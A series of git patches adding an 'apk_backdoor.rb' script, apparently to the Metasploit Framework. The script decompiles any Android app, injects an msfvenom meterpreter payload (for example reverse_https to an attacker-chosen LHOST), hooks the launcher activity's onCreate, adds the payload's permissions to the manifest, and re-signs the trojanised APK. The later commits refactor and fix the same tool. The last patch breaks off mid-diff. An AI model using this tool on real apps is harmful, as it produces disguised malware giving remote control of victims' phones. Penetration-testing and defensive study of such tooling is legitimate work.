From e4e8930ccb1a605e3c53404ff47605a35721e1b4 Mon Sep 17 00:00:00 2001 From: Jack64 Date: Thu, 3 Sep 2015 19:30:25 +0100 Subject: [PATCH 01/15] APK Backdooring script Originally @ https://github.com/rapid7/metasploit-framework/pull/5611/ PR'ed again because I accidentally deleted my fork and couldn't make changes. --- tools/apk_backdoor.rb | 232 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 232 insertions(+) create mode 100644 tools/apk_backdoor.rb diff --git a/tools/apk_backdoor.rb b/tools/apk_backdoor.rb new file mode 100644 index 0000000000..cb2ac12298 --- /dev/null +++ b/tools/apk_backdoor.rb @@ -0,0 +1,232 @@ +#!/usr/bin/env ruby +# +# This script is a POC for injecting metasploit payloads on +# arbitrary APKs. +# Authored by timwr, Jack64 +# + + +require 'nokogiri' +require 'fileutils' +require 'optparse' + +# Find the activity that is opened when you click the app icon +def find_launcher_activity(amanifest) + package = amanifest.xpath("//manifest").first['package'] + activities = amanifest.xpath("//activity|//activity-alias") + for activity in activities + activityname = activity.attribute("name") + category = activity.search('category') + unless category + next + end + for cat in category + categoryname = cat.attribute('name') + if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') + activityname = activityname.to_s + unless activityname.start_with?(package) + activityname = package + activityname + end + return activityname + end + end + end +end + +# If XML parsing of the manifest fails, recursively search +# the smali code for the onCreate() hook and let the user +# pick the injection point +def scrape_files_for_launcher_activity() + smali_files||=[] + Dir.glob('original/smali*/**/*.smali') do |file| + checkFile=File.read(file) + if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") + smali_files << file + smalifile = file + activitysmali = checkFile + end + end + i=0 + print "[*] Please choose from one of the following:\n" + smali_files.each{|s_file| + print "[+] Hook point ",i,": ",s_file,"\n" + i+=1 + } + hook=-1 + while (hook < 0 || hook>i) + print "\nHook: " + hook = STDIN.gets.chomp.to_i + end + i=0 + smalifile="" + activitysmali="" + smali_files.each{|s_file| + if (i==hook) + checkFile=File.read(s_file) + smalifile=s_file + activitysmali = checkFile + break + end + i+=1 + } + return [smalifile,activitysmali] +end + +def fix_manifest() + payload_permissions=[] + + #Load payload's permissions + File.open("payload/AndroidManifest.xml","r"){|file| + k=File.read(file) + payload_manifest=Nokogiri::XML(k) + permissions = payload_manifest.xpath("//manifest/uses-permission") + for permission in permissions + name=permission.attribute("name") + payload_permissions << name.to_s + end + # print "#{k}" + } + original_permissions=[] + apk_mani='' + + #Load original apk's permissions + File.open("original/AndroidManifest.xml","r"){|file2| + k=File.read(file2) + apk_mani=k + original_manifest=Nokogiri::XML(k) + permissions = original_manifest.xpath("//manifest/uses-permission") + for permission in permissions + name=permission.attribute("name") + original_permissions << name.to_s + end + # print "#{k}" + } + #Get permissions that are not in original APK + add_permissions=[] + for permission in payload_permissions + if !(original_permissions.include? permission) + print "[*] Adding #{permission}\n" + add_permissions << permission + end + end + inject=0 + new_mani="" + #Inject permissions in original APK's manifest + for line in apk_mani.split("\n") + if (line.include? "uses-permission" and inject==0) + for permission in add_permissions + new_mani << ''+"\n" + end + new_mani << line+"\n" + inject=1 + else + new_mani << line+"\n" + end + end + File.open("original/AndroidManifest.xml", "w") {|file| file.puts new_mani } +end + +apkfile = ARGV[0] +unless(apkfile && File.readable?(apkfile)) + puts "Usage: #{$0} [target.apk] [msfvenom options]\n" + puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443" + exit(1) +end + +jarsigner = `which jarsigner` +unless(jarsigner && jarsigner.length > 0) + puts "[-] Jarsigner not found. If it's not in your PATH, please add it.\n" + exit(1) +end + +apktool = `which apktool` +unless(apktool && apktool.length > 0) + puts "[-] APKTool not found. If it's not in your PATH, please add it.\n" + exit(1) +end + +apk_v=`apktool` +unless(apk_v.split()[1].include?("v2.")) + puts "[-] Apktool version #{apk_v} not supported, please download the latest 2.xx version from git.\n" + exit(1) +end + +begin + msfvenom_opts = ARGV[1,ARGV.length] + opts="" + msfvenom_opts.each{|x| + opts+=x + opts+=" " + } +rescue + puts "Usage: #{$0} [target.apk] [msfvenom options]\n" + puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443" + puts "[-] Error parsing msfvenom options. Exiting.\n" + exit(1) +end + + + +print "[*] Generating msfvenom payload..\n" +res=`msfvenom -f raw #{opts} -o payload.apk 2>&1` +if res.downcase.include?("invalid" || "error") + puts res + exit(1) +end + +print "[*] Signing payload..\n" +`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA payload.apk androiddebugkey` + +`rm -rf original` +`rm -rf payload` + +`cp #{apkfile} original.apk` + +print "[*] Decompiling orignal APK..\n" +`apktool d $(pwd)/original.apk -o $(pwd)/original` +print "[*] Decompiling payload APK..\n" +`apktool d $(pwd)/payload.apk -o $(pwd)/payload` + +f = File.open("original/AndroidManifest.xml") +amanifest = Nokogiri::XML(f) +f.close + +print "[*] Locating onCreate() hook..\n" + + +launcheractivity = find_launcher_activity(amanifest) +smalifile = 'original/smali/' + launcheractivity.gsub(/\./, "/") + '.smali' +begin + activitysmali = File.read(smalifile) +rescue Errno::ENOENT + print "[!] Unable to find correct hook automatically\n" + begin + results=scrape_files_for_launcher_activity() + smalifile=results[0] + activitysmali=results[1] + rescue + puts "[-] Error finding launcher activity. Exiting" + exit(1) + end +end + +print "[*] Copying payload files..\n" +FileUtils.mkdir_p('original/smali/com/metasploit/stage/') +FileUtils.cp Dir.glob('payload/smali/com/metasploit/stage/Payload*.smali'), 'original/smali/com/metasploit/stage/' +activitycreate = ';->onCreate(Landroid/os/Bundle;)V' +payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" +hookedsmali = activitysmali.gsub(activitycreate, payloadhook) +print "[*] Loading ",smalifile," and injecting payload..\n" +File.open(smalifile, "w") {|file| file.puts hookedsmali } +injected_apk=apkfile.split(".")[0] +injected_apk+="_backdoored.apk" + +print "[*] Poisoning the manifest with meterpreter permissions..\n" +fix_manifest() + +print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n" +`apktool b -o $(pwd)/#{injected_apk} $(pwd)/original` +print "[*] Signing #{injected_apk} ..\n" +`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey` + +puts "[+] Infected file #{injected_apk} ready.\n" From 764dc0ceb4f2fe8eb39d330a8d49ee7fad726dca Mon Sep 17 00:00:00 2001 From: Jack64 Date: Sun, 6 Sep 2015 02:02:42 +0100 Subject: [PATCH 02/15] Several fixes - Added tempdir - Fixed msfvenom call (now calling ../msfvenom instead of msfvenom) - Removed backticks for command execution (thanks @bcook-r7) --- tools/apk_backdoor.rb | 95 +++++++++++++++++++++++++------------------ 1 file changed, 55 insertions(+), 40 deletions(-) diff --git a/tools/apk_backdoor.rb b/tools/apk_backdoor.rb index cb2ac12298..1854e8c29e 100644 --- a/tools/apk_backdoor.rb +++ b/tools/apk_backdoor.rb @@ -5,10 +5,22 @@ # Authored by timwr, Jack64 # - +require 'tmpdir' require 'nokogiri' require 'fileutils' require 'optparse' +require 'open3' + + +def run_cmd(cmd) + begin + stdin, stdout, stderr = Open3.popen3(cmd) + return stdout.read + stderr.read + rescue Errno::ENOENT + return nil + end +end + # Find the activity that is opened when you click the app icon def find_launcher_activity(amanifest) @@ -36,9 +48,10 @@ end # If XML parsing of the manifest fails, recursively search # the smali code for the onCreate() hook and let the user # pick the injection point -def scrape_files_for_launcher_activity() + +def scrape_files_for_launcher_activity(tempdir) smali_files||=[] - Dir.glob('original/smali*/**/*.smali') do |file| + Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file| checkFile=File.read(file) if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") smali_files << file @@ -72,11 +85,11 @@ def scrape_files_for_launcher_activity() return [smalifile,activitysmali] end -def fix_manifest() +def fix_manifest(tempdir) payload_permissions=[] - + #Load payload's permissions - File.open("payload/AndroidManifest.xml","r"){|file| + File.open("#{tempdir}/payload/AndroidManifest.xml","r"){|file| k=File.read(file) payload_manifest=Nokogiri::XML(k) permissions = payload_manifest.xpath("//manifest/uses-permission") @@ -84,13 +97,13 @@ def fix_manifest() name=permission.attribute("name") payload_permissions << name.to_s end - # print "#{k}" } + original_permissions=[] - apk_mani='' - + apk_mani="" + #Load original apk's permissions - File.open("original/AndroidManifest.xml","r"){|file2| + File.open("#{tempdir}/original/AndroidManifest.xml","r"){|file2| k=File.read(file2) apk_mani=k original_manifest=Nokogiri::XML(k) @@ -99,8 +112,8 @@ def fix_manifest() name=permission.attribute("name") original_permissions << name.to_s end - # print "#{k}" } + #Get permissions that are not in original APK add_permissions=[] for permission in payload_permissions @@ -109,6 +122,7 @@ def fix_manifest() add_permissions << permission end end + inject=0 new_mani="" #Inject permissions in original APK's manifest @@ -123,29 +137,29 @@ def fix_manifest() new_mani << line+"\n" end end - File.open("original/AndroidManifest.xml", "w") {|file| file.puts new_mani } + File.open("#{tempdir}/original/AndroidManifest.xml", "w") {|file| file.puts new_mani } end apkfile = ARGV[0] unless(apkfile && File.readable?(apkfile)) puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443" + puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" exit(1) end -jarsigner = `which jarsigner` -unless(jarsigner && jarsigner.length > 0) +jarsigner = run_cmd("jarsigner") +unless(jarsigner != nil) puts "[-] Jarsigner not found. If it's not in your PATH, please add it.\n" exit(1) end -apktool = `which apktool` -unless(apktool && apktool.length > 0) +apktool = run_cmd("apktool") +unless(apktool != nil) puts "[-] APKTool not found. If it's not in your PATH, please add it.\n" exit(1) end -apk_v=`apktool` +apk_v = apktool unless(apk_v.split()[1].include?("v2.")) puts "[-] Apktool version #{apk_v} not supported, please download the latest 2.xx version from git.\n" exit(1) @@ -160,48 +174,45 @@ begin } rescue puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443" + puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" puts "[-] Error parsing msfvenom options. Exiting.\n" exit(1) end - +#Create temporary directory where work will be done +tempdir = Dir.mktmpdir print "[*] Generating msfvenom payload..\n" -res=`msfvenom -f raw #{opts} -o payload.apk 2>&1` +res = run_cmd("../msfvenom -f raw #{opts} -o #{tempdir}/payload.apk 2>&1") if res.downcase.include?("invalid" || "error") puts res exit(1) end -print "[*] Signing payload..\n" -`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA payload.apk androiddebugkey` +print "[*] Signing payload..\n" +run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{tempdir}/payload.apk androiddebugkey") -`rm -rf original` -`rm -rf payload` - -`cp #{apkfile} original.apk` +run_cmd("cp #{apkfile} #{tempdir}/original.apk") print "[*] Decompiling orignal APK..\n" -`apktool d $(pwd)/original.apk -o $(pwd)/original` +run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") print "[*] Decompiling payload APK..\n" -`apktool d $(pwd)/payload.apk -o $(pwd)/payload` - -f = File.open("original/AndroidManifest.xml") +run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") + +f = File.open("#{tempdir}/original/AndroidManifest.xml") amanifest = Nokogiri::XML(f) f.close print "[*] Locating onCreate() hook..\n" - launcheractivity = find_launcher_activity(amanifest) -smalifile = 'original/smali/' + launcheractivity.gsub(/\./, "/") + '.smali' +smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" begin activitysmali = File.read(smalifile) rescue Errno::ENOENT print "[!] Unable to find correct hook automatically\n" begin - results=scrape_files_for_launcher_activity() + results=scrape_files_for_launcher_activity(tempdir) smalifile=results[0] activitysmali=results[1] rescue @@ -211,8 +222,8 @@ rescue Errno::ENOENT end print "[*] Copying payload files..\n" -FileUtils.mkdir_p('original/smali/com/metasploit/stage/') -FileUtils.cp Dir.glob('payload/smali/com/metasploit/stage/Payload*.smali'), 'original/smali/com/metasploit/stage/' +FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") +FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" activitycreate = ';->onCreate(Landroid/os/Bundle;)V' payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" hookedsmali = activitysmali.gsub(activitycreate, payloadhook) @@ -222,11 +233,15 @@ injected_apk=apkfile.split(".")[0] injected_apk+="_backdoored.apk" print "[*] Poisoning the manifest with meterpreter permissions..\n" -fix_manifest() +fix_manifest(tempdir) print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n" -`apktool b -o $(pwd)/#{injected_apk} $(pwd)/original` -print "[*] Signing #{injected_apk} ..\n" -`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey` +run_cmd("apktool b -o #{tempdir}/#{injected_apk} #{tempdir}/original") +print "[*] Signing #{injected_apk} ..\n" +run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{tempdir}/#{injected_apk} androiddebugkey") + +run_cmd("cp #{tempdir}/#{injected_apk} .") +FileUtils.remove_entry tempdir puts "[+] Infected file #{injected_apk} ready.\n" + From 18e0a2f8966f9ac7032cf91300a03f01c78e8198 Mon Sep 17 00:00:00 2001 From: Jack64 Date: Sun, 6 Sep 2015 02:34:33 +0100 Subject: [PATCH 03/15] Update apk_backdoor.rb fixed msfvenom path resolution --- tools/apk_backdoor.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tools/apk_backdoor.rb b/tools/apk_backdoor.rb index 1854e8c29e..f280520064 100644 --- a/tools/apk_backdoor.rb +++ b/tools/apk_backdoor.rb @@ -183,7 +183,8 @@ end tempdir = Dir.mktmpdir print "[*] Generating msfvenom payload..\n" -res = run_cmd("../msfvenom -f raw #{opts} -o #{tempdir}/payload.apk 2>&1") +msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "msfvenom")) +res = run_cmd("#{msfvenom_path} -f raw #{opts} -o #{tempdir}/payload.apk 2>&1") if res.downcase.include?("invalid" || "error") puts res exit(1) From 719b333e96fa24d92cc293abf411dd9977342e93 Mon Sep 17 00:00:00 2001 From: Tim Date: Sat, 26 Sep 2015 18:41:58 +0100 Subject: [PATCH 04/15] chmod +x tools/apk_backdoor.rb --- tools/apk_backdoor.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 tools/apk_backdoor.rb diff --git a/tools/apk_backdoor.rb b/tools/apk_backdoor.rb old mode 100644 new mode 100755 From 322382060561e7eaddc7ed640c09a6f4ff05497e Mon Sep 17 00:00:00 2001 From: Tim Date: Sat, 26 Sep 2015 19:08:06 +0100 Subject: [PATCH 05/15] fix tools/apk_backdoor.rb output file --- tools/apk_backdoor.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/tools/apk_backdoor.rb b/tools/apk_backdoor.rb index f280520064..aa311f713b 100755 --- a/tools/apk_backdoor.rb +++ b/tools/apk_backdoor.rb @@ -230,18 +230,16 @@ payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/ hookedsmali = activitysmali.gsub(activitycreate, payloadhook) print "[*] Loading ",smalifile," and injecting payload..\n" File.open(smalifile, "w") {|file| file.puts hookedsmali } -injected_apk=apkfile.split(".")[0] -injected_apk+="_backdoored.apk" +injected_apk=apkfile.split(".")[0] + "_backdoored.apk" print "[*] Poisoning the manifest with meterpreter permissions..\n" fix_manifest(tempdir) print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n" -run_cmd("apktool b -o #{tempdir}/#{injected_apk} #{tempdir}/original") +run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") print "[*] Signing #{injected_apk} ..\n" -run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{tempdir}/#{injected_apk} androiddebugkey") +run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") -run_cmd("cp #{tempdir}/#{injected_apk} .") FileUtils.remove_entry tempdir puts "[+] Infected file #{injected_apk} ready.\n" From e5fb67f430e2138f7e4a6adc4f07bccee8c9e2cf Mon Sep 17 00:00:00 2001 From: Tim Date: Sat, 26 Sep 2015 19:15:23 +0100 Subject: [PATCH 06/15] fix version check > 2.0.1 --- tools/apk_backdoor.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/tools/apk_backdoor.rb b/tools/apk_backdoor.rb index aa311f713b..1e81f5e885 100755 --- a/tools/apk_backdoor.rb +++ b/tools/apk_backdoor.rb @@ -149,19 +149,19 @@ end jarsigner = run_cmd("jarsigner") unless(jarsigner != nil) - puts "[-] Jarsigner not found. If it's not in your PATH, please add it.\n" + puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n" exit(1) end -apktool = run_cmd("apktool") +apktool = run_cmd("apktool -version") unless(apktool != nil) - puts "[-] APKTool not found. If it's not in your PATH, please add it.\n" + puts "[-] apktool not found. If it's not in your PATH, please add it.\n" exit(1) end -apk_v = apktool -unless(apk_v.split()[1].include?("v2.")) - puts "[-] Apktool version #{apk_v} not supported, please download the latest 2.xx version from git.\n" +apk_v = Gem::Version.new(apktool) +unless(apk_v >= Gem::Version.new('2.0.1')) + puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" exit(1) end From ab4ebe155dd6d7060bd8ff4e617338c9a46824da Mon Sep 17 00:00:00 2001 From: Tim Date: Sun, 27 Sep 2015 12:20:04 +0100 Subject: [PATCH 07/15] placate msftidy --- tools/apk_backdoor.rb | 290 +++++++++++++++++++++--------------------- 1 file changed, 145 insertions(+), 145 deletions(-) diff --git a/tools/apk_backdoor.rb b/tools/apk_backdoor.rb index 1e81f5e885..18401b380d 100755 --- a/tools/apk_backdoor.rb +++ b/tools/apk_backdoor.rb @@ -1,6 +1,6 @@ #!/usr/bin/env ruby # -# This script is a POC for injecting metasploit payloads on +# This script is a POC for injecting metasploit payloads on # arbitrary APKs. # Authored by timwr, Jack64 # @@ -13,36 +13,36 @@ require 'open3' def run_cmd(cmd) - begin - stdin, stdout, stderr = Open3.popen3(cmd) - return stdout.read + stderr.read - rescue Errno::ENOENT - return nil - end + begin + stdin, stdout, stderr = Open3.popen3(cmd) + return stdout.read + stderr.read + rescue Errno::ENOENT + return nil + end end # Find the activity that is opened when you click the app icon def find_launcher_activity(amanifest) - package = amanifest.xpath("//manifest").first['package'] - activities = amanifest.xpath("//activity|//activity-alias") - for activity in activities - activityname = activity.attribute("name") - category = activity.search('category') - unless category - next - end - for cat in category - categoryname = cat.attribute('name') - if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') - activityname = activityname.to_s - unless activityname.start_with?(package) - activityname = package + activityname - end - return activityname - end - end + package = amanifest.xpath("//manifest").first['package'] + activities = amanifest.xpath("//activity|//activity-alias") + for activity in activities + activityname = activity.attribute("name") + category = activity.search('category') + unless category + next end + for cat in category + categoryname = cat.attribute('name') + if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') + activityname = activityname.to_s + unless activityname.start_with?(package) + activityname = package + activityname + end + return activityname + end + end + end end # If XML parsing of the manifest fails, recursively search @@ -50,133 +50,133 @@ end # pick the injection point def scrape_files_for_launcher_activity(tempdir) - smali_files||=[] - Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file| - checkFile=File.read(file) - if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") - smali_files << file - smalifile = file - activitysmali = checkFile - end - end - i=0 - print "[*] Please choose from one of the following:\n" - smali_files.each{|s_file| - print "[+] Hook point ",i,": ",s_file,"\n" - i+=1 - } - hook=-1 - while (hook < 0 || hook>i) - print "\nHook: " - hook = STDIN.gets.chomp.to_i - end - i=0 - smalifile="" - activitysmali="" - smali_files.each{|s_file| - if (i==hook) - checkFile=File.read(s_file) - smalifile=s_file - activitysmali = checkFile - break - end - i+=1 - } - return [smalifile,activitysmali] + smali_files||=[] + Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file| + checkFile=File.read(file) + if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") + smali_files << file + smalifile = file + activitysmali = checkFile + end + end + i=0 + print "[*] Please choose from one of the following:\n" + smali_files.each{|s_file| + print "[+] Hook point ",i,": ",s_file,"\n" + i+=1 + } + hook=-1 + while (hook < 0 || hook>i) + print "\nHook: " + hook = STDIN.gets.chomp.to_i + end + i=0 + smalifile="" + activitysmali="" + smali_files.each{|s_file| + if (i==hook) + checkFile=File.read(s_file) + smalifile=s_file + activitysmali = checkFile + break + end + i+=1 + } + return [smalifile,activitysmali] end def fix_manifest(tempdir) - payload_permissions=[] + payload_permissions=[] - #Load payload's permissions - File.open("#{tempdir}/payload/AndroidManifest.xml","r"){|file| - k=File.read(file) - payload_manifest=Nokogiri::XML(k) - permissions = payload_manifest.xpath("//manifest/uses-permission") - for permission in permissions - name=permission.attribute("name") - payload_permissions << name.to_s - end - } + #Load payload's permissions + File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file| + k=File.read(file) + payload_manifest=Nokogiri::XML(k) + permissions = payload_manifest.xpath("//manifest/uses-permission") + for permission in permissions + name=permission.attribute("name") + payload_permissions << name.to_s + end + } - original_permissions=[] - apk_mani="" + original_permissions=[] + apk_mani="" - #Load original apk's permissions - File.open("#{tempdir}/original/AndroidManifest.xml","r"){|file2| - k=File.read(file2) - apk_mani=k - original_manifest=Nokogiri::XML(k) - permissions = original_manifest.xpath("//manifest/uses-permission") - for permission in permissions - name=permission.attribute("name") - original_permissions << name.to_s - end - } + #Load original apk's permissions + File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2| + k=File.read(file2) + apk_mani=k + original_manifest=Nokogiri::XML(k) + permissions = original_manifest.xpath("//manifest/uses-permission") + for permission in permissions + name=permission.attribute("name") + original_permissions << name.to_s + end + } - #Get permissions that are not in original APK - add_permissions=[] - for permission in payload_permissions - if !(original_permissions.include? permission) - print "[*] Adding #{permission}\n" - add_permissions << permission - end - end + #Get permissions that are not in original APK + add_permissions=[] + for permission in payload_permissions + if !(original_permissions.include? permission) + print "[*] Adding #{permission}\n" + add_permissions << permission + end + end - inject=0 - new_mani="" - #Inject permissions in original APK's manifest - for line in apk_mani.split("\n") - if (line.include? "uses-permission" and inject==0) - for permission in add_permissions - new_mani << ''+"\n" - end - new_mani << line+"\n" - inject=1 - else - new_mani << line+"\n" - end - end - File.open("#{tempdir}/original/AndroidManifest.xml", "w") {|file| file.puts new_mani } + inject=0 + new_mani="" + #Inject permissions in original APK's manifest + for line in apk_mani.split("\n") + if (line.include? "uses-permission" and inject==0) + for permission in add_permissions + new_mani << ''+"\n" + end + new_mani << line+"\n" + inject=1 + else + new_mani << line+"\n" + end + end + File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani } end apkfile = ARGV[0] -unless(apkfile && File.readable?(apkfile)) - puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" - exit(1) +unless apkfile && File.readable?(apkfile) + $stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n" + $stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" + exit(1) end jarsigner = run_cmd("jarsigner") -unless(jarsigner != nil) - puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n" - exit(1) +unless jarsigner != nil + $stderr.puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n" + exit(1) end apktool = run_cmd("apktool -version") -unless(apktool != nil) - puts "[-] apktool not found. If it's not in your PATH, please add it.\n" - exit(1) +unless apktool != nil + $stderr.puts "[-] apktool not found. If it's not in your PATH, please add it.\n" + exit(1) end apk_v = Gem::Version.new(apktool) -unless(apk_v >= Gem::Version.new('2.0.1')) - puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" - exit(1) +unless apk_v >= Gem::Version.new('2.0.1') + $stderr.puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" + exit(1) end begin - msfvenom_opts = ARGV[1,ARGV.length] - opts="" - msfvenom_opts.each{|x| - opts+=x - opts+=" " - } + msfvenom_opts = ARGV[1,ARGV.length] + opts="" + msfvenom_opts.each{|x| + opts+=x + opts+=" " + } rescue - puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" - puts "[-] Error parsing msfvenom options. Exiting.\n" - exit(1) + $stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n" + $stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" + $stderr.puts "[-] Error parsing msfvenom options. Exiting.\n" + exit(1) end #Create temporary directory where work will be done @@ -185,12 +185,12 @@ tempdir = Dir.mktmpdir print "[*] Generating msfvenom payload..\n" msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "msfvenom")) res = run_cmd("#{msfvenom_path} -f raw #{opts} -o #{tempdir}/payload.apk 2>&1") -if res.downcase.include?("invalid" || "error") - puts res - exit(1) +if res.downcase.include?("error") + $stderr.puts res + exit(1) end -print "[*] Signing payload..\n" +print "[*] Signing payload..\n" run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{tempdir}/payload.apk androiddebugkey") run_cmd("cp #{apkfile} #{tempdir}/original.apk") @@ -199,7 +199,7 @@ print "[*] Decompiling orignal APK..\n" run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") print "[*] Decompiling payload APK..\n" run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") - + f = File.open("#{tempdir}/original/AndroidManifest.xml") amanifest = Nokogiri::XML(f) f.close @@ -209,17 +209,17 @@ print "[*] Locating onCreate() hook..\n" launcheractivity = find_launcher_activity(amanifest) smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" begin - activitysmali = File.read(smalifile) + activitysmali = File.read(smalifile) rescue Errno::ENOENT - print "[!] Unable to find correct hook automatically\n" - begin - results=scrape_files_for_launcher_activity(tempdir) - smalifile=results[0] - activitysmali=results[1] - rescue - puts "[-] Error finding launcher activity. Exiting" - exit(1) - end + print "[!] Unable to find correct hook automatically\n" + begin + results=scrape_files_for_launcher_activity(tempdir) + smalifile=results[0] + activitysmali=results[1] + rescue + $stderr.puts "[-] Error finding launcher activity. Exiting" + exit(1) + end end print "[*] Copying payload files..\n" @@ -229,7 +229,7 @@ activitycreate = ';->onCreate(Landroid/os/Bundle;)V' payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" hookedsmali = activitysmali.gsub(activitycreate, payloadhook) print "[*] Loading ",smalifile," and injecting payload..\n" -File.open(smalifile, "w") {|file| file.puts hookedsmali } +File.open(smalifile, "wb") {|file| file.puts hookedsmali } injected_apk=apkfile.split(".")[0] + "_backdoored.apk" print "[*] Poisoning the manifest with meterpreter permissions..\n" @@ -237,7 +237,7 @@ fix_manifest(tempdir) print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n" run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") -print "[*] Signing #{injected_apk} ..\n" +print "[*] Signing #{injected_apk} ..\n" run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") FileUtils.remove_entry tempdir From ad0ff2ea2f9f158deafa3b03ca656b1d5b9e3cb0 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 05:21:13 +0000 Subject: [PATCH 08/15] move to tools/exploit --- tools/{ => exploit}/apk_backdoor.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename tools/{ => exploit}/apk_backdoor.rb (100%) diff --git a/tools/apk_backdoor.rb b/tools/exploit/apk_backdoor.rb similarity index 100% rename from tools/apk_backdoor.rb rename to tools/exploit/apk_backdoor.rb From d1ed363a94a0e93252d1e9c634d5355595935f74 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 06:10:15 +0000 Subject: [PATCH 09/15] clean up apk_backdoor.rb --- tools/exploit/apk_backdoor.rb | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/tools/exploit/apk_backdoor.rb b/tools/exploit/apk_backdoor.rb index 18401b380d..c0d461d6d6 100755 --- a/tools/exploit/apk_backdoor.rb +++ b/tools/exploit/apk_backdoor.rb @@ -11,6 +11,10 @@ require 'fileutils' require 'optparse' 